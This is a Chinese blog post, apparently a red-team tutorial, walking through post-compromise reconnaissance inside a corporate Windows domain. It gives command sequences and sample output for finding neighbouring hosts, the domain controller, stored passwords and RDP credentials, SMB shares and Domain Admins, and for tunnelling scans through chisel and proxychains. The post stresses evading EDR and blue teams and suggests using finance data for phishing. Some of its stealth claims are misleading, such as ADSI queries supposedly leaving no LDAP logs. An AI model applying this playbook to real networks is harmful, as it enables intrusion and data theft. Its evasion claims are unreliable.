当前位置: 首页 > news >正文

打进内网后一脸懵?内网渗透第一步——信息收集决定了你能走多远

上个月的真实场景

凌晨两点,我拿到了一台边界Web服务器的shell。

目标是一家中型企业的外网门户,一个存在了七八年的老PHP系统。通过一次SQL注入拿到了RDP用户密码,顺利登陆了这台WIndows Server 2012。

习惯性ipconfig看了一眼IP——172.16.1.105,妥妥的内网段。

我心想:"好,挖进去了。但然后呢?"

绝大多数安全从业者都卡在这一步——你突破边界进了内网,但面前是一片纯黑的网络海洋。你不知道旁边有哪些机器,不知道域控在哪,不知道哪些端口开着,更不知道哪些机器等你横向移动。

这一步,叫内网信息收集。90%的内网渗透成败,取决于信息收集做得够不够细。


第一章:为什么要做信息收集?

很多人觉得"我都进去了,直接扫呗"。

但真实场景下:

扫描行为会产生流量 → 可能触发IDS/EDR告警 → 蓝队把你扼杀在内网门口

信息收集的目的不是扫一圈IP列表,而是回答以下几个问题:

  • 我是谁——当前漏洞机的角色、域环境、网络配置
  • 旁边是谁——同一个网段有哪些邻居、网关在哪
  • 目标是谁——域控在哪、文件服务器在哪、数据库在哪
  • 我能去哪——还有哪些网段可以路由到达
  • 怎么不被发现——哪些流量会被监控

这五个问题,前四个回答的是"怎么打",第五个回答的是"怎么活"。


第二章:侦察第一轮——本地信息收集

拿到shell后,我做了这么几件事。

2.1 网络配置摸底

不管Windows还是Linux,第一件事永远是确认网络拓扑:

# Windows必查 ipconfig /all route print netstat -ano arp -a
# Linux必查 ifconfig ip route netstat -tunlp arp -n

为什么要查ARP表?

机器之间的通信只要在同一个二层网络,通信过的IP会短暂留在ARP表里。一个活跃的ARP表,基本就等于"隔壁有人的机器列表"。

我在这台Win Server上看到:

接口: 172.16.1.105 --- 0x0b Internet 地址 物理地址 类型 172.16.1.1 00-50-56-b3-12-aa 动态 ← 网关 172.16.1.10 00-50-56-b3-33-bb 动态 ← 有机器! 172.16.1.20 00-50-56-b3-44-cc 动态 ← 有机器! 172.16.1.50 00-50-56-b3-55-dd 动态 ← 有机器! 172.16.1.100 00-50-56-b3-66-ee 动态 ← 有机器! 172.16.2.15 00-50-56-b3-77-ff 动态 ← 跨网段?!

关键发现:172.16.1/24网段至少有4台活跃机器,而且还有一台172.16.2.15出现在ARP表里——这意味着这台机器的路由表里有通往别的网段的路径,或者这台机器本身是多网卡。

# 验证是否多网卡 ipconfig /all | findstr "IPv4"

果然,这台机器有两块网卡:

IPv4 Address: 172.16.1.105 IPv4 Address: 172.16.2.105

结论:这台机器是通往172.16.2/24的跳板机。大部分内网渗透都从这里开始——找"连接多网段的机器"。

2.2 域环境探测

确认域环境是信息收集中最关键的一步:

# 判断是否加域 systeminfo | findstr "Domain" # 看到的结果 Domain: CORP.LOCAL

看到CORP.LOCAL,心情瞬间上来了——加域的。这意味着存在域控(DC,Domain Controller),整个内网有一套统一的认证体系。

再查域控位置:

# 查当前登陆的域用户 whoami # 结果 corp\zhangwei
# 查域控 nltest /dclget:corp.local

返回:

DC: \\DC01.corp.local IP: 172.16.1.10

域控就在隔壁172.16.1.10——和ARP表上看到的那台机器是同一个IP。

一个重要的经验:拿到域控IP后,不要急着打。先做完整的信息收集,搞清楚域控上跑了什么服务,再做下一步决策。

2.3 本地敏感信息搜索

信息收集不只是看网络拓扑,还包括这台机器本身存储了什么东西:

# Windows - 搜各类密码相关文件 findstr /si password *.xml *.config *.txt *.ini *.bat *.ps1 # 搜Web配置文件 dir /s *.config *.env # 搜RDP连接记录 dir /a cmdkey /list

我在这台机器上找到了一个db_config.bak文件:

[DB_Connection] server=172.16.1.50 database=ERP_MAIN user=sa password=Corp@Admin!2024

又一个目标浮出水面——172.16.1.50,一台SQL Server数据库。

同时,cmdkey /list显示:

当前保存的凭据目标: LegacyGeneric:target=TERMSRV/172.16.1.20 LegacyGeneric:target=TERMSRV/172.16.1.10

这台机器上存了到172.16.1.20和172.16.1.10的RDP凭据!这些凭据在当前用户的Windows凭据管理器里,可以直接用runas /savedcred调用。


第三章:侦察第二轮——横向存活探测

做完本地信息收集,手里已经有几个目标IP了。接下来要做一件事——确认哪些机器真正在线上、哪些端口开放。

3.1 低噪存活探测

第一轮探测不用NMAP,因为NMAP的SYN扫描在很多EDR眼里是既定告警。我推荐两种方式:

# 方式1:利用ARP ping(二层,不产生IP层流量) for /L %i in (1,1,254) do ping -n 1 -w 100 172.16.1.%i | find "TTL="
# 方式2:用powershell Test-NetConnection(速度更快) 1..254 | % { if (Test-Connection -Count 1 -ComputerName "172.16.1.$_" -Quiet) { "172.16.1.$_ is alive"} }

这种方式产生的流量特征和普通Windows机器的网络操作几乎没区别,EDR很难判定是恶意行为。

3.2 端口探测(用代理转发)

探测到存活主机后,不能拿着攻击机直接扫描——攻击机的IP不在内网段,扫不到。

正确做法是建立SOCKS代理转发:

# 在攻击机上执行(通过反弹shell的机器做跳板) # 用frp或chisel建立socks隧道 chisel client <跳板机>:<端口> R:socks

然后在本地配置proxychains:

# /etc/proxychains.conf socks5 127.0.0.1 1080

通过代理进行端口扫描:

proxychains -q nmap -sT -Pn -p 22,80,443,445,3389,3306,1433,8080,8443 \ 172.16.1.10 172.16.1.20 172.16.1.50

扫描结果:

172.16.1.10 → DC01.corp.local PORT STATE SERVICE 53/tcp open domain ← DNS 88/tcp open kerberos ← Kerberos 135/tcp open rpc 139/tcp open netbios 389/tcp open ldap ← LDAP 445/tcp open smb ← SMB 3389/tcp open ms-wbt-server ← RDP 5985/tcp open winrm ← WinRM 172.16.1.20 → CORP-FILE01 PORT STATE SERVICE 135/tcp open rpc 139/tcp open netbios 445/tcp open smb 3389/tcp open ms-wbt-server 172.16.1.50 → CORP-DB01 PORT STATE SERVICE 135/tcp open rpc 1433/tcp open ms-sql-s ← SQL Server 3389/tcp open ms-wbt-server
血的教训:不要在跳板机上直接运行masscan/NMAP的全端口扫描。我曾见过一个红队兄弟,在跳板机上扫全端口被EDR告警,15分钟后蓝队就把他踢下线了。扫常用端口就够了,全端口扫描是给蓝队送业绩。

3.3 SMB共享探测

445端口开着的机器是内网渗透的金矿——SMB共享里往往躺着大量敏感文件:

# 列出目标机器上的所有共享 net view \\172.16.1.20 # 结果 共享名 类型 用途 注释 ------------------------------------------------------------------------------- Backup Disk 备份共享 Data Disk 部门数据 Finance$ Disk 财务数据(隐藏共享) IPC$ IPC 远程 IPC

共享一多,第一个要挂上去的是隐藏共享Finance$

# 尝试访问 dir \\172.16.1.20\Finance$

如果能访问,恭喜你找到金矿了。财务共享里通常有薪资表、对账单,这些在钓鱼邮件和社会工程学里是极好的素材。

如果提示无权限——正常。这时候不要硬来,记下这条共享路径,后续拿到域管权限后再来访问。


第四章:侦察第三轮——域内信息收集

这一步是拉开和其他红队差距的地方。大多数人在第二步就急着拿工具开扫了。但真正老练的红队会在这一步做细致的域信息收集

4.1 域用户枚举(不触发告警的方式)

用ADSI(AD Service Interface)查询,不走LDAP的审计log:

# PowerShell ADSI查询 - 域用户列表 $searcher = [ADSISearcher]'(&(objectClass=user)(objectCategory=person))' $searcher.PageSize = 1000 $searcher.FindAll() | ForEach-Object { $user = $_.Properties [PSCustomObject]@{ UserName = $user.samaccountname DisplayName = $user.displayname Enabled = $user.useraccountcontrol -band 2 -eq 0 LastLogon = [datetime]::FromFileTime($($user.lastlogontimestamp[0])) } } | Format-Table -AutoSize

这个查询方式的特点是——它用的是当前域用户的权限,走的是WMI/ADSI路径,不会产生明显的LDAP查询日志。蓝队如果没专门配ADSI审计,根本看不到你。

4.2 域管理组成员查询

找到域管理员是谁,等于找到了目标:

# 查询Domain Admins组 $searcher = [ADSISearcher]'(&(objectClass=group)(cn=Domain Admins))' $result = $searcher.FindOne() $result.Properties.member | ForEach-Object { $member = [ADSI]"LDAP://$_" $member.Properties.samaccountname }

输出:

administrator wang_li zhang_wei liu_hai

四名域管理员。查他们的登陆习惯:

# 查看域控的登陆会话 net session \\DC01
冷知识net session走的是SMB协议,如果域控上SMB服务没有单独审计这行命令,它是不会产生告警的。

4.3 组策略与OU结构分析

OU(组织单元)结构直接暴露了企业的组织架构,这是做横向移动路线规划的重要信息:

$searcher = [ADSISearcher]'(&(objectClass=organizationalUnit))' $searcher.FindAll() | ForEach-Object { $_.Properties.distinguishedname }

输出:

OU=Domain Controllers,DC=corp,DC=local OU=Servers,DC=corp,DC=local OU=Workstations,DC=corp,DC=local OU=Finance,OU=Servers,DC=corp,DC=local OU=IT,OU=Servers,DC=corp,DC=local OU=Executives,DC=corp,DC=local
http://www.gsyq.cn/news/1605687.html

相关文章:

  • 字节开源Deer-Flow:AI工作流编排引擎实战,构建可靠应用管道
  • 赛能saillm 产品全景解析:为中小商家打造的 AI 智能客服与营销平台
  • 微信支付V3平台证书过期故障排查与自动更新方案详解
  • DNS攻击链前置到解析层怎么防?IP离线库三步定位恶意C2服务器IP
  • 小型语言模型在代码代理框架中的能效与性能权衡研究
  • 零知识加密神话破灭:密码管理器27种攻击向量深度解析与安全实践
  • AI 生成 UI 的工程化闭环:从 Prompt 约束到质量门禁的完整实践
  • AI产品经理必看!产业链全解析+求职避坑指南,手把手教你找好岗!
  • py每日spdier案例之某website文字转音频接口加密参数解密(难度一般)
  • STM32 FIR滤波器实战避坑指南:从MATLAB到CMSIS-DSP的高效实现
  • 【中兴未来领军】助兄弟姐妹们拿下蓝剑/SSP高端offer,开启顶尖职业之路!
  • AI智能眼镜的视频流通路设计
  • Kubevirt下载安装
  • HTTPS之后如何防御API重放攻击?请求签名原理与JS/Java实现详解
  • 机器人PCB行业多家头部企业的市场表现对比
  • 法大大Nota Sign通过SOC 2 Type II审计,为出海企业提供国际合规保障
  • 工控机为什么不用消费级主板?
  • 2026年6月亲测,深圳吊装这样选才靠谱!
  • 近期量化开发别急着扩功能,先跑通小流程
  • 软件开发部署 AI 盲目行事?Copado 五大支柱助开发者 9 - 10 倍提升生产力!
  • STL转STEP完整指南:3D模型格式转换的终极解决方案
  • AI营销拓客工具推荐
  • 终极风扇控制指南:三步打造Windows电脑的静音散热系统
  • Saga模式——分布式事务的“事后补救法“
  • 多店运营管理杂乱无章?全域客服数字化完整解决方案官网可查阅
  • 【ChatGPT微调实战权威指南】:20年NLP工程师亲授5大避坑法则、3类场景最佳实践与训练成本压降47%的秘钥
  • 关闭数据库服务减少内存占用
  • LangGraph 工作流:从工具接入到项目提效
  • 2026最新八字排盘app评测:命枢与天乙八字排盘功能矩阵和使用边界观察
  • 高效能烤盘定制厂家找哪家